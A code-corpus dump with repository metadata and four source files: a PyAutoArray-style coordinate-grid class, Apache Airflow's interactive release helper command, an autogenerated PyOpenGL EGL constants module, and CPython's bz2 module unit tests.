`True`. """ file_dir = os.path.split(file_path)[0] if not path.exists(file_dir): os.makedirs(file_dir) if overwrite and path.exists(file_path): os.remove(file_path) elif not overwrite and path.exists(file_path): raise FileExistsError( "The file ", file_path, " already exists. Set overwrite=True to overwrite this" "file", ) with open(file_path, "w+") as f: json.dump(self.in_list, f) @classmethod def load(cls, file_path, filename): with open(path.join(file_path, f"{filename}.pickle"), "rb") as f: return pickle.load(f) def save(self, file_path, filename): """ Save the tracer by serializing it with pickle. """ with open(path.join(file_path, f"{filename}.pickle"), "wb") as f: pickle.dump(self, f) class Grid2DIrregularTransformed(Grid2DIrregular): pass class Grid2DIrregularUniform(Grid2DIrregular): def __new__(cls, grid, shape_native=None, pixel_scales=None): """ A collection of (y,x) coordinates which is structured as follows: [[x0, x1], [x0, x1]] The grid object does not store the coordinates as a list of tuples, but instead a 2D NumPy array of shape [total_coordinates, 2]. They are stored as a NumPy array so the coordinates can be used efficiently for calculations. The coordinates input to this function can have any of the following forms: [(y0,x0), (y1,x1)] In all cases, they will be converted to a list of tuples followed by a 2D NumPy array. Print methods are overidden so a user always "sees" the coordinates as the list structure. Like the `Grid2D` structure, `Grid2DIrregularUniform` lie on a uniform grid corresponding to values that originate from a uniform grid. This contrasts the `Grid2DIrregular` class above. However, although this class stores the pixel-scale and 2D shape of this grid, it does not store the mask that a `Grid2D` does that enables the coordinates to be mapped from 1D to 2D. This is for calculations that utilize the 2d information of the grid but do not want the memory overheads associated with the 2D mask. Parameters ---------- grid : [tuple] or equivalent A collection of (y,x) coordinates that. """ # obj = super(Grid2DIrregularUniform, cls).__new__(cls=cls, coordinates=coordinates) if len(grid) == 0: return [] if isinstance(grid[0], float): grid = [grid] if isinstance(grid[0], tuple): grid = [grid] elif isinstance(grid[0], np.ndarray): if len(grid[0].shape) == 1: grid = [grid] elif isinstance(grid[0], list) and isinstance(grid[0][0], (float)): grid = [grid] coordinates_arr = np.concatenate([np.array(i) for i in grid]) obj = coordinates_arr.view(cls) obj._internal_list = grid pixel_scales = geometry_util.convert_pixel_scales_2d(pixel_scales=pixel_scales) obj.shape_native = shape_native obj.pixel_scales = pixel_scales return obj def __array_finalize__(self, obj): if hasattr(obj, "_internal_list"): self._internal_list = obj._internal_list if hasattr(obj, "shape_native"): self.shape_native = obj.shape_native if hasattr(obj, "pixel_scales"): self.pixel_scales = obj.pixel_scales @property def pixel_scale(self): if self.pixel_scales[0] == self.pixel_scales[1]: return self.pixel_scales[0] else: raise exc.GridException( "Cannot return a pixel_scale for a grid where each dimension has a " "different pixel scale (e.g. pixel_scales[0] != pixel_scales[1]" ) @classmethod def from_grid_sparse_uniform_upscale( cls, grid_sparse_uniform, upscale_factor, pixel_scales, shape_native=None ): pixel_scales = geometry_util.convert_pixel_scales_2d(pixel_scales=pixel_scales) grid_upscaled_1d = grid_2d_util.grid_2d_slim_upscaled_from( grid_slim=grid_sparse_uniform, upscale_factor=upscale_factor, pixel_scales=pixel_scales, ) pixel_scales = ( pixel_scales[0] / upscale_factor, pixel_scales[1] / upscale_factor, ) return cls( grid=grid_upscaled_1d, pixel_scales=pixel_scales, shape_native=shape_native ) def grid_from_grid_slim(self, grid_slim): """Create a `Grid2DIrregularUniform` object from a 2D NumPy array of values of shape [total_coordinates, 2]. The `Grid2DIrregularUniform` are structured following this *GridIrregular2D* instance.""" return Grid2DIrregularUniform( grid=grid_slim, pixel_scales=self.pixel_scales, shape_native=self.shape_native, ) def grid_from_deflection_grid(self, deflection_grid): """ Returns a new Grid2DIrregular from this grid coordinates, where the (y,x) coordinates of this grid have a grid of (y,x) values, termed the deflection grid, subtracted from them to determine the new grid of (y,x) values. This is used by PyAutoLens to perform grid ray-tracing. Parameters ---------- deflection_grid : np.ndarray The grid of (y,x) coordinates which is subtracted from this grid. """ return Grid2DIrregularUniform( grid=self - deflection_grid, pixel_scales=self.pixel_scales, shape_native=self.shape_native, )
[ "james.w.nightingale@durham.ac.uk" ]
james.w.nightingale@durham.ac.uk
70467c3af1d1ce84fd8014eddd31575452a22d11
245b92f4140f30e26313bfb3b2e47ed1871a5b83
/dev/breeze/src/airflow_breeze/commands/release_command.py
3ae21abb9ec799cf0088aee88b58913d7ad0567b
[ "Apache-2.0", "BSD-3-Clause", "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
ephraimbuddy/airflow
238d6170a0e4f76456f00423124a260527960710
3193857376bc2c8cd2eb133017be1e8cbcaa8405
refs/heads/main
2023-05-29T05:37:44.992278
2023-05-13T19:49:43
2023-05-13T19:49:43
245,751,695
2
1
Apache-2.0
2021-05-20T08:10:14
2020-03-08T04:28:27
null
UTF-8
Python
false
false
10,687
py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from __future__ import annotations import os import click from airflow_breeze.utils.common_options import option_answer from airflow_breeze.utils.confirm import confirm_action from airflow_breeze.utils.console import console_print from airflow_breeze.utils.path_utils import AIRFLOW_SOURCES_ROOT from airflow_breeze.utils.run_utils import run_command CI = os.environ.get("CI") DRY_RUN = True if CI else False def clone_asf_repo(working_dir): if confirm_action("Clone ASF repo?"): run_command(["rm", "-rf", f"{working_dir}/asf-dist"], check=True) run_command( ["svn", "checkout", "--depth=immediates", "https://dist.apache.org/repos/dist", "asf-dist"], check=True, ) dev_dir = f"{working_dir}/asf-dist/dev/airflow" release_dir = f"{working_dir}/asf-dist/release/airflow" run_command(["svn", "update", "--set-depth", "infinity", dev_dir], check=True) run_command(["svn", "update", "--set-depth", "infinity", release_dir], check=True) def create_version_dir(version): if confirm_action(f"Create SVN version directory for {version}?"): run_command(["svn", "mkdir", f"{version}"], dry_run_override=DRY_RUN, check=True) console_print(f"{version} directory created") def copy_artifacts_to_svn(rc, svn_dev_repo): if confirm_action(f"Copy artifacts to SVN for {rc}?"): run_command( [ "for", "f", "in", f"{svn_dev_repo}/{rc}/*", ";", "do", "svn", "cp", "$f", "${$(basename $f)/}", "done", ], dry_run_override=DRY_RUN, check=True, ) console_print("Artifacts copied to SVN:") run_command(["ls"], dry_run_override=DRY_RUN) def commit_release(version, rc, svn_release_version_dir): if confirm_action(f"Commit release {version} to SVN?"): run_command( ["svn", "commit", "-m", f"Release Airflow {version} from {rc}"], dry_run_override=DRY_RUN, check=True, ) def remove_old_release(previous_release): if confirm_action(f"Remove old release {previous_release}?"): run_command(["svn", "rm", f"{previous_release}"], dry_run_override=DRY_RUN, check=True) run_command( ["svn", "commit", "-m", f"Remove old release: {previous_release}"], dry_run_override=DRY_RUN, check=True, ) confirm_action( "Verify that the packages appear in " "[airflow](https://dist.apache.org/repos/dist/release/airflow/). Continue?", abort=True, ) def verify_pypi_package(version): if confirm_action("Verify PyPI package?"): run_command(["twine", "check", "*.whl", f"*{version}.tar.gz"], check=True) def upload_to_pypi_test(version): if confirm_action("Upload to PyPI test?"): run_command( ["twine", "upload", "-r", "pypitest", "*.whl", f"*{version}.tar.gz"], dry_run_override=DRY_RUN, check=True, ) console_print("Packages pushed to test PyPI") console_print( "Verify that the test package looks good by downloading it and installing it into a virtual " "environment. The package download link is available at: " "https://test.pypi.org/project/apache-airflow/#files" ) def upload_to_pypi(version): if confirm_action("Upload to PyPI?"): confirm_action( "I have tested the package I uploaded to test PyPI. " "I installed and ran a DAG with it and there's no issue. Do you agree to the above?", abort=True, ) run_command( ["twine", "upload", "-r", "pypi", "*.whl", f"*{version}.tar.gz"], dry_run_override=DRY_RUN, check=True, ) console_print("Packages pushed to production PyPI") console_print( "Again, confirm that the package is available here: https://pypi.python.org/pypi/apache-airflow" ) def retag_constraints(release_candidate, version): if confirm_action(f"Retag constraints for {release_candidate} as {version}?"): run_command( ["git", "checkout", f"constraints-{release_candidate}"], dry_run_override=DRY_RUN, check=True ) run_command( [ "git", "tag", "-s", f"constraints-{version}", "-m", f"Constraints for Apache Airflow {version}", ], dry_run_override=DRY_RUN, check=True, ) if confirm_action("Push latest constraints tag to GitHub?"): run_command( ["git", "push", "origin", "tag", f"constraints-{version}"], dry_run_override=DRY_RUN, check=True ) def tag_and_push_latest_constraint(version): console_print("In case you release 'latest stable' version, also update 'latest' constraints") if confirm_action("Tag latest constraint?"): run_command( [ "git", "tag", "-f", "-s", "constraints-latest", "-m", f"Latest constraints set to Apache Airflow {version}", ], dry_run_override=DRY_RUN, check=True, ) if confirm_action("Push latest constraints tag to GitHub?"): run_command( ["git", "push", "origin", "tag", "-f", "constraints-latest"], dry_run_override=DRY_RUN, check=True, ) def push_tag_for_final_version(version, release_candidate): if confirm_action(f"Push tag for final version {version}?"): console_print( """ This step should only be done now and not before, because it triggers an automated build of the production docker image, using the packages that are currently released in PyPI (both airflow and latest provider packages). """ ) confirm_action(f"Confirm that {version} is pushed to PyPI(not PyPI test). Is it pushed?", abort=True) run_command(["git", "checkout", f"{release_candidate}"], dry_run_override=DRY_RUN, check=True) run_command( ["git", "tag", "-s", f"{version}", "-m", f"Apache Airflow {version}"], dry_run_override=DRY_RUN, check=True, ) run_command(["git", "push", "origin", "tag", f"{version}"], dry_run_override=DRY_RUN, check=True) @click.command( name="start-release", short_help="Start Airflow release process", help="Start the process of releasing an Airflow version. " "This command will guide you through the release process. ", hidden=True, ) @click.option("--release-candidate", required=True) @click.option("--previous-release", required=True) @option_answer def airflow_release(release_candidate, previous_release): if "rc" not in release_candidate: exit("Release candidate must contain 'rc'") if "rc" in previous_release: exit("Previous release must not contain 'rc'") version = release_candidate[:-3] os.chdir(AIRFLOW_SOURCES_ROOT) airflow_repo_root = os.getcwd() console_print() console_print("Release candidate:", release_candidate) console_print("Release Version:", version) console_print("Previous release:", previous_release) console_print("Airflow repo root:", airflow_repo_root) console_print() console_print("Below are your git remotes. We will push to origin:") run_command(["git", "remote", "-v"], check=True) console_print() confirm_action("Verify that the above information is correct. Do you want to continue?", abort=True) # Final confirmation confirm_action("Pushes will be made to origin. Do you want to continue?", abort=True) # Clone the asf repo os.chdir("..") working_dir = os.getcwd() clone_asf_repo(working_dir) svn_dev_repo = f"{working_dir}/asf-dist/dev/airflow" svn_release_repo = f"{working_dir}/asf-dist/release/airflow" console_print("SVN dev repo root:", svn_dev_repo) console_print("SVN release repo root:", svn_release_repo) # Create the version directory confirm_action("Confirm that the above repo exists. Continue?", abort=True) # Change to the svn release repo os.chdir(svn_release_repo) # Create the version directory create_version_dir(version) svn_release_version_dir = f"{svn_release_repo}/{version}" console_print("SVN Release version dir:", svn_release_version_dir) # Change directory to the version directory if os.path.exists(svn_release_version_dir): os.chdir(svn_release_version_dir) else: confirm_action("Version directory does not exist. Do you want to Continue?", abort=True) # Copy artifacts to the version directory copy_artifacts_to_svn(release_candidate, svn_dev_repo) # Commit the release to svn commit_release(version, release_candidate, svn_release_version_dir) # Remove old release if os.path.exists(svn_release_version_dir): os.chdir("..") remove_old_release(previous_release) # Verify pypi package if os.path.exists(svn_release_version_dir): os.chdir(svn_release_version_dir) verify_pypi_package(version) # Upload to pypi test upload_to_pypi_test(version) # Upload to pypi upload_to_pypi(version) # Change Directory to airflow os.chdir(airflow_repo_root) # Retag and push the constraint file retag_constraints(release_candidate, version) tag_and_push_latest_constraint(version) # Push tag for final version push_tag_for_final_version(version, release_candidate) console_print("Done!")
[ "noreply@github.com" ]
ephraimbuddy.noreply@github.com
68fd3fe6c771bb15adf73caf8b69bb3cfdf15b3b
5e84763c16bd6e6ef06cf7a129bb4bd29dd61ec5
/blimgui/dist/OpenGL/raw/EGL/KHR/cl_event.py
ceb2b4eb41ae154e01ca2b74068ee0e01c4f6f8b
[ "MIT" ]
permissive
juso40/bl2sdk_Mods
8422a37ca9c2c2bbf231a2399cbcb84379b7e848
29f79c41cfb49ea5b1dd1bec559795727e868558
refs/heads/master
2023-08-15T02:28:38.142874
2023-07-22T21:48:01
2023-07-22T21:48:01
188,486,371
42
110
MIT
2022-11-20T09:47:56
2019-05-24T20:55:10
Python
UTF-8
Python
false
false
685
py
'''Autogenerated by xml_generate script, do not edit!''' from OpenGL import platform as _p, arrays # Code generation uses this from OpenGL.raw.EGL import _types as _cs # End users want this... from OpenGL.raw.EGL._types import * from OpenGL.raw.EGL import _errors from OpenGL.constant import Constant as _C import ctypes _EXTENSION_NAME = 'EGL_KHR_cl_event' def _f( function ): return _p.createFunction( function,_p.PLATFORM.EGL,'EGL_KHR_cl_event',error_checker=_errors._error_checker) EGL_CL_EVENT_HANDLE_KHR=_C('EGL_CL_EVENT_HANDLE_KHR',0x309C) EGL_SYNC_CL_EVENT_COMPLETE_KHR=_C('EGL_SYNC_CL_EVENT_COMPLETE_KHR',0x30FF) EGL_SYNC_CL_EVENT_KHR=_C('EGL_SYNC_CL_EVENT_KHR',0x30FE)
[ "justin.sostmann@googlemail.com" ]
justin.sostmann@googlemail.com
7ac1a6758405c9dd84ae6f0fc98dff6b216dc1c3
c67f2d0677f8870bc1d970891bbe31345ea55ce2
/zippy/lib-python/3/test/test_bz2.py
eabf65df8314e1a43341d7f56f078e455b04bf28
[ "BSD-3-Clause" ]
permissive
securesystemslab/zippy
a5a1ecf5c688504d8d16128ce901406ffd6f32c2
ff0e84ac99442c2c55fe1d285332cfd4e185e089
refs/heads/master
2022-07-05T23:45:36.330407
2018-07-10T22:17:32
2018-07-10T22:17:32
67,824,983
324
27
null
null
null
null
UTF-8
Python
false
false
16,415
py
#!/usr/bin/env python3 from test import support from test.support import TESTFN import unittest from io import BytesIO import os import subprocess import sys try: import threading except ImportError: threading = None # Skip tests if the bz2 module doesn't exist. bz2 = support.import_module('bz2') from bz2 import BZ2File, BZ2Compressor, BZ2Decompressor has_cmdline_bunzip2 = sys.platform not in ("win32", "os2emx") class BaseTest(unittest.TestCase): "Base for other testcases." TEXT = b'root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:\ndaemon:x:2:2:daemon:/sbin:\nadm:x:3:4:adm:/var/adm:\nlp:x:4:7:lp:/var/spool/lpd:\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:\nnews:x:9:13:news:/var/spool/news:\nuucp:x:10:14:uucp:/var/spool/uucp:\noperator:x:11:0:operator:/root:\ngames:x:12:100:games:/usr/games:\ngopher:x:13:30:gopher:/usr/lib/gopher-data:\nftp:x:14:50:FTP User:/var/ftp:/bin/bash\nnobody:x:65534:65534:Nobody:/home:\npostfix:x:100:101:postfix:/var/spool/postfix:\nniemeyer:x:500:500::/home/niemeyer:/bin/bash\npostgres:x:101:102:PostgreSQL Server:/var/lib/pgsql:/bin/bash\nmysql:x:102:103:MySQL server:/var/lib/mysql:/bin/bash\nwww:x:103:104::/var/www:/bin/false\n' TEXT_LINES = TEXT.splitlines(True) DATA = b'BZh91AY&SY.\xc8N\x18\x00\x01>_\x80\x00\x10@\x02\xff\xf0\x01\x07n\x00?\xe7\xff\xe00\x01\x99\xaa\x00\xc0\x03F\x86\x8c#&\x83F\x9a\x03\x06\xa6\xd0\xa6\x93M\x0fQ\xa7\xa8\x06\x804hh\x12$\x11\xa4i4\xf14S\xd2<Q\xb5\x0fH\xd3\xd4\xdd\xd5\x87\xbb\xf8\x94\r\x8f\xafI\x12\xe1\xc9\xf8/E\x00pu\x89\x12]\xc9\xbbDL\nQ\x0e\t1\x12\xdf\xa0\xc0\x97\xac2O9\x89\x13\x94\x0e\x1c7\x0ed\x95I\x0c\xaaJ\xa4\x18L\x10\x05#\x9c\xaf\xba\xbc/\x97\x8a#C\xc8\xe1\x8cW\xf9\xe2\xd0\xd6M\xa7\x8bXa<e\x84t\xcbL\xb3\xa7\xd9\xcd\xd1\xcb\x84.\xaf\xb3\xab\xab\xad`n}\xa0lh\tE,\x8eZ\x15\x17VH>\x88\xe5\xcd9gd6\x0b\n\xe9\x9b\xd5\x8a\x99\xf7\x08.K\x8ev\xfb\xf7xw\xbb\xdf\xa1\x92\xf1\xdd|/";\xa2\xba\x9f\xd5\xb1#A\xb6\xf6\xb3o\xc9\xc5y\\\xebO\xe7\x85\x9a\xbc\xb6f8\x952\xd5\xd7"%\x89>V,\xf7\xa6z\xe2\x9f\xa3\xdf\x11\x11"\xd6E)I\xa9\x13^\xca\xf3r\xd0\x03U\x922\xf26\xec\xb6\xed\x8b\xc3U\x13\x9d\xc5\x170\xa4\xfa^\x92\xacDF\x8a\x97\xd6\x19\xfe\xdd\xb8\xbd\x1a\x9a\x19\xa3\x80ankR\x8b\xe5\xd83]\xa9\xc6\x08\x82f\xf6\xb9"6l$\xb8j@\xc0\x8a\xb0l1..\xbak\x83ls\x15\xbc\xf4\xc1\x13\xbe\xf8E\xb8\x9d\r\xa8\x9dk\x84\xd3n\xfa\xacQ\x07\xb1%y\xaav\xb4\x08\xe0z\x1b\x16\xf5\x04\xe9\xcc\xb9\x08z\x1en7.G\xfc]\xc9\x14\xe1B@\xbb!8`' DATA_CRLF = b'BZh91AY&SY\xaez\xbbN\x00\x01H\xdf\x80\x00\x12@\x02\xff\xf0\x01\x07n\x00?\xe7\xff\xe0@\x01\xbc\xc6`\x86*\x8d=M\xa9\x9a\x86\xd0L@\x0fI\xa6!\xa1\x13\xc8\x88jdi\x8d@\x03@\x1a\x1a\x0c\x0c\x83 \x00\xc4h2\x19\x01\x82D\x84e\t\xe8\x99\x89\x19\x1ah\x00\r\x1a\x11\xaf\x9b\x0fG\xf5(\x1b\x1f?\t\x12\xcf\xb5\xfc\x95E\x00ps\x89\x12^\xa4\xdd\xa2&\x05(\x87\x04\x98\x89u\xe40%\xb6\x19\'\x8c\xc4\x89\xca\x07\x0e\x1b!\x91UIFU%C\x994!DI\xd2\xfa\xf0\xf1N8W\xde\x13A\xf5\x9cr%?\x9f3;I45A\xd1\x8bT\xb1<l\xba\xcb_\xc00xY\x17r\x17\x88\x08\x08@\xa0\ry@\x10\x04$)`\xf2\xce\x89z\xb0s\xec\x9b.iW\x9d\x81\xb5-+t\x9f\x1a\'\x97dB\xf5x\xb5\xbe.[.\xd7\x0e\x81\xe7\x08\x1cN`\x88\x10\xca\x87\xc3!"\x80\x92R\xa1/\xd1\xc0\xe6mf\xac\xbd\x99\xcca\xb3\x8780>\xa4\xc7\x8d\x1a\\"\xad\xa1\xabyBg\x15\xb9l\x88\x88\x91k"\x94\xa4\xd4\x89\xae*\xa6\x0b\x10\x0c\xd6\xd4m\xe86\xec\xb5j\x8a\x86j\';\xca.\x01I\xf2\xaaJ\xe8\x88\x8cU+t3\xfb\x0c\n\xa33\x13r2\r\x16\xe0\xb3(\xbf\x1d\x83r\xe7M\xf0D\x1365\xd8\x88\xd3\xa4\x92\xcb2\x06\x04\\\xc1\xb0\xea//\xbek&\xd8\xe6+t\xe5\xa1\x13\xada\x16\xder5"w]\xa2i\xb7[\x97R \xe2IT\xcd;Z\x04dk4\xad\x8a\t\xd3\x81z\x10\xf1:^`\xab\x1f\xc5\xdc\x91N\x14$+\x9e\xae\xd3\x80' if has_cmdline_bunzip2: def decompress(self, data): pop = subprocess.Popen("bunzip2", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) pop.stdin.write(data) pop.stdin.close() ret = pop.stdout.read() pop.stdout.close() if pop.wait() != 0: ret = bz2.decompress(data) return ret else: # bunzip2 isn't available to run on Windows. def decompress(self, data): return bz2.decompress(data) class BZ2FileTest(BaseTest): "Test BZ2File type miscellaneous methods." def setUp(self): self.filename = TESTFN def tearDown(self): if os.path.isfile(self.filename): os.unlink(self.filename) def createTempFile(self, crlf=0): with open(self.filename, "wb") as f: if crlf: data = self.DATA_CRLF else: data = self.DATA f.write(data) def testRead(self): # "Test BZ2File.read()" self.createTempFile() with BZ2File(self.filename) as bz2f: self.assertRaises(TypeError, bz2f.read, None) self.assertEqual(bz2f.read(), self.TEXT) def testRead0(self): # Test BBZ2File.read(0)" self.createTempFile() with BZ2File(self.filename) as bz2f: self.assertRaises(TypeError, bz2f.read, None) self.assertEqual(bz2f.read(0), b"") def testReadChunk10(self): # "Test BZ2File.read() in chunks of 10 bytes" self.createTempFile() with BZ2File(self.filename) as bz2f: text = b'' while 1: str = bz2f.read(10) if not str: break text += str self.assertEqual(text, self.TEXT) def testRead100(self): # "Test BZ2File.read(100)" self.createTempFile() with BZ2File(self.filename) as bz2f: self.assertEqual(bz2f.read(100), self.TEXT[:100]) def testReadLine(self): # "Test BZ2File.readline()" self.createTempFile() with BZ2File(self.filename) as bz2f: self.assertRaises(TypeError, bz2f.readline, None) sio = BytesIO(self.TEXT) for line in sio.readlines(): self.assertEqual(bz2f.readline(), line) def testReadLines(self): # "Test BZ2File.readlines()" self.createTempFile() with BZ2File(self.filename) as bz2f: self.assertRaises(TypeError, bz2f.readlines, None) sio = BytesIO(self.TEXT) self.assertEqual(bz2f.readlines(), sio.readlines()) def testIterator(self): # "Test iter(BZ2File)" self.createTempFile() with BZ2File(self.filename) as bz2f: sio = BytesIO(self.TEXT) self.assertEqual(list(iter(bz2f)), sio.readlines()) def testClosedIteratorDeadlock(self): # "Test that iteration on a closed bz2file releases the lock." # http://bugs.python.org/issue3309 self.createTempFile() bz2f = BZ2File(self.filename) bz2f.close() self.assertRaises(ValueError, bz2f.__next__) # This call will deadlock of the above .__next__ call failed to # release the lock. self.assertRaises(ValueError, bz2f.readlines) def testWrite(self): # "Test BZ2File.write()" with BZ2File(self.filename, "w") as bz2f: self.assertRaises(TypeError, bz2f.write) bz2f.write(self.TEXT) with open(self.filename, 'rb') as f: self.assertEqual(self.decompress(f.read()), self.TEXT) def testWriteChunks10(self): # "Test BZ2File.write() with chunks of 10 bytes" with BZ2File(self.filename, "w") as bz2f: n = 0 while 1: str = self.TEXT[n*10:(n+1)*10] if not str: break bz2f.write(str) n += 1 with open(self.filename, 'rb') as f: self.assertEqual(self.decompress(f.read()), self.TEXT) def testWriteLines(self): # "Test BZ2File.writelines()" with BZ2File(self.filename, "w") as bz2f: self.assertRaises(TypeError, bz2f.writelines) sio = BytesIO(self.TEXT) bz2f.writelines(sio.readlines()) # patch #1535500 self.assertRaises(ValueError, bz2f.writelines, ["a"]) with open(self.filename, 'rb') as f: self.assertEqual(self.decompress(f.read()), self.TEXT) def testWriteMethodsOnReadOnlyFile(self): with BZ2File(self.filename, "w") as bz2f: bz2f.write(b"abc") with BZ2File(self.filename, "r") as bz2f: self.assertRaises(IOError, bz2f.write, b"a") self.assertRaises(IOError, bz2f.writelines, [b"a"]) def testSeekForward(self): # "Test BZ2File.seek(150, 0)" self.createTempFile() with BZ2File(self.filename) as bz2f: self.assertRaises(TypeError, bz2f.seek) bz2f.seek(150) self.assertEqual(bz2f.read(), self.TEXT[150:]) def testSeekBackwards(self): # "Test BZ2File.seek(-150, 1)" self.createTempFile() with BZ2File(self.filename) as bz2f: bz2f.read(500) bz2f.seek(-150, 1) self.assertEqual(bz2f.read(), self.TEXT[500-150:]) def testSeekBackwardsFromEnd(self): # "Test BZ2File.seek(-150, 2)" self.createTempFile() with BZ2File(self.filename) as bz2f: bz2f.seek(-150, 2) self.assertEqual(bz2f.read(), self.TEXT[len(self.TEXT)-150:]) def testSeekPostEnd(self): # "Test BZ2File.seek(150000)" self.createTempFile() with BZ2File(self.filename) as bz2f: bz2f.seek(150000) self.assertEqual(bz2f.tell(), len(self.TEXT)) self.assertEqual(bz2f.read(), b"") def testSeekPostEndTwice(self): # "Test BZ2File.seek(150000) twice" self.createTempFile() with BZ2File(self.filename) as bz2f: bz2f.seek(150000) bz2f.seek(150000) self.assertEqual(bz2f.tell(), len(self.TEXT)) self.assertEqual(bz2f.read(), b"") def testSeekPreStart(self): # "Test BZ2File.seek(-150, 0)" self.createTempFile() with BZ2File(self.filename) as bz2f: bz2f.seek(-150) self.assertEqual(bz2f.tell(), 0) self.assertEqual(bz2f.read(), self.TEXT) def testOpenDel(self): # "Test opening and deleting a file many times" self.createTempFile() for i in range(10000): if support.check_impl_detail(pypy=True): with BZ2File(self.filename) as o: pass else: o = BZ2File(self.filename) del o def testOpenNonexistent(self): # "Test opening a nonexistent file" self.assertRaises(IOError, BZ2File, "/non/existent") def testBug1191043(self): # readlines() for files containing no newline data = b'BZh91AY&SY\xd9b\x89]\x00\x00\x00\x03\x80\x04\x00\x02\x00\x0c\x00 \x00!\x9ah3M\x13<]\xc9\x14\xe1BCe\x8a%t' with open(self.filename, "wb") as f: f.write(data) with BZ2File(self.filename) as bz2f: lines = bz2f.readlines() self.assertEqual(lines, [b'Test']) with BZ2File(self.filename) as bz2f: xlines = list(bz2f.readlines()) self.assertEqual(xlines, [b'Test']) def testContextProtocol(self): # BZ2File supports the context management protocol f = None with BZ2File(self.filename, "wb") as f: f.write(b"xxx") f = BZ2File(self.filename, "rb") f.close() try: with f: pass except ValueError: pass else: self.fail("__enter__ on a closed file didn't raise an exception") try: with BZ2File(self.filename, "wb") as f: 1/0 except ZeroDivisionError: pass else: self.fail("1/0 didn't raise an exception") @unittest.skipUnless(threading, 'Threading required for this test.') def testThreading(self): # Using a BZ2File from several threads doesn't deadlock (issue #7205). data = b"1" * 2**20 nthreads = 10 with bz2.BZ2File(self.filename, 'wb') as f: def comp(): for i in range(5): f.write(data) threads = [threading.Thread(target=comp) for i in range(nthreads)] for t in threads: t.start() for t in threads: t.join() def testMixedIterationAndReads(self): self.createTempFile() linelen = len(self.TEXT_LINES[0]) halflen = linelen // 2 with BZ2File(self.filename) as bz2f: bz2f.read(halflen) self.assertEqual(next(bz2f), self.TEXT_LINES[0][halflen:]) self.assertEqual(bz2f.read(), self.TEXT[linelen:]) with BZ2File(self.filename) as bz2f: bz2f.readline() self.assertEqual(next(bz2f), self.TEXT_LINES[1]) self.assertEqual(bz2f.readline(), self.TEXT_LINES[2]) with BZ2File(self.filename) as bz2f: bz2f.readlines() self.assertRaises(StopIteration, next, bz2f) self.assertEqual(bz2f.readlines(), []) class BZ2CompressorTest(BaseTest): def testCompress(self): # "Test BZ2Compressor.compress()/flush()" bz2c = BZ2Compressor() self.assertRaises(TypeError, bz2c.compress) data = bz2c.compress(self.TEXT) data += bz2c.flush() self.assertEqual(self.decompress(data), self.TEXT) def testCompressChunks10(self): # "Test BZ2Compressor.compress()/flush() with chunks of 10 bytes" bz2c = BZ2Compressor() n = 0 data = b'' while 1: str = self.TEXT[n*10:(n+1)*10] if not str: break data += bz2c.compress(str) n += 1 data += bz2c.flush() self.assertEqual(self.decompress(data), self.TEXT) class BZ2DecompressorTest(BaseTest): def test_Constructor(self): self.assertRaises(TypeError, BZ2Decompressor, 42) def testDecompress(self): # "Test BZ2Decompressor.decompress()" bz2d = BZ2Decompressor() self.assertRaises(TypeError, bz2d.decompress) text = bz2d.decompress(self.DATA) self.assertEqual(text, self.TEXT) def testDecompressChunks10(self): # "Test BZ2Decompressor.decompress() with chunks of 10 bytes" bz2d = BZ2Decompressor() text = b'' n = 0 while 1: str = self.DATA[n*10:(n+1)*10] if not str: break text += bz2d.decompress(str) n += 1 self.assertEqual(text, self.TEXT) def testDecompressUnusedData(self): # "Test BZ2Decompressor.decompress() with unused data" bz2d = BZ2Decompressor() unused_data = b"this is unused data" text = bz2d.decompress(self.DATA+unused_data) self.assertEqual(text, self.TEXT) self.assertEqual(bz2d.unused_data, unused_data) def testEOFError(self): # "Calling BZ2Decompressor.decompress() after EOS must raise EOFError" bz2d = BZ2Decompressor() text = bz2d.decompress(self.DATA) self.assertRaises(EOFError, bz2d.decompress, b"anything") class FuncTest(BaseTest): "Test module functions" def testCompress(self): # "Test compress() function" data = bz2.compress(self.TEXT) self.assertEqual(self.decompress(data), self.TEXT) def testDecompress(self): # "Test decompress() function" text = bz2.decompress(self.DATA) self.assertEqual(text, self.TEXT) def testDecompressEmpty(self): # "Test decompress() function with empty string" text = bz2.decompress(b"") self.assertEqual(text, b"") def testDecompressIncomplete(self): # "Test decompress() function with incomplete data" self.assertRaises(ValueError, bz2.decompress, self.DATA[:-10]) def test_main(): support.run_unittest( BZ2FileTest, BZ2CompressorTest, BZ2DecompressorTest, FuncTest ) support.reap_children() if __name__ == '__main__': test_main() # vim:ts=4:sw=4
[ "thezhangwei@gmail.com" ]
thezhangwei@gmail.com
711097389ae82580b61b73cfaee9fbcbb2b655c4
e3a24297a28e9fd2e54e82ec15e84cfcf4cd5b9c
/widukind_api/plugins/html_plugin.py
444179f5072b38f971fb7e1688d9fd082a953f0e
[]
no_license
mmalter/widukind-api
13557cdd5a9626d1b753b466fe025a88cbfc0f20
1518f533471da7b108cb37cc95033989bf7d1839
refs/heads/master
2021-01-24T00:09:21.507044
2016-02-18T06:40:00
2016-02-18T06:40:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,884
py
